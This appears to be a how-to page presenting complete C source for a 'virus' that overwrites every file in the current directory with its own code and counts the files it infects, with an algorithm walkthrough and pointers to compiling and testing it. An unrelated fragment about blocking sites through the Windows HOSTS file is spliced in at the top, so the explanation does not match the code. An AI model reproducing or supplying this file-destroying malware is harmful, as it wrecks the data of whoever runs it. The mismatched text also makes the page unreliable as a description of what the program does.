%windir%\system32\drivers\etc (Usually: C:\windows\system32\drivers\etc)
So, when you execute this program, all it does is add the entries of the list of those sites (mentioned in the source code) to this HOSTS file. Once this is done, the site will be blocked from your computer. So, none of the browsers would be able to load those sites on your computer.
Now, as far as the technical part of this program is concerned, people who have a working knowledge of ‘C’ should be easily able to understand the working of this virus program. However, for those who are new to ‘C’ programming, here is the algorithm of this program:
%windir%\system32\drivers\etc
127.0.0.1 google.com
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}
This virus is designed to infect all types of files with any extension.
You can download the source code from the following link:
How the Virus Program Works?
The algorithm of this virus program is as follows:Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).Step-2: Load the copy of the virus itself onto the memory.Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.How to Compile the Program:
For a step-by-step guide, you can refer my detailed page on- how to compile C programs?How to Test the Virus After the Compilation:
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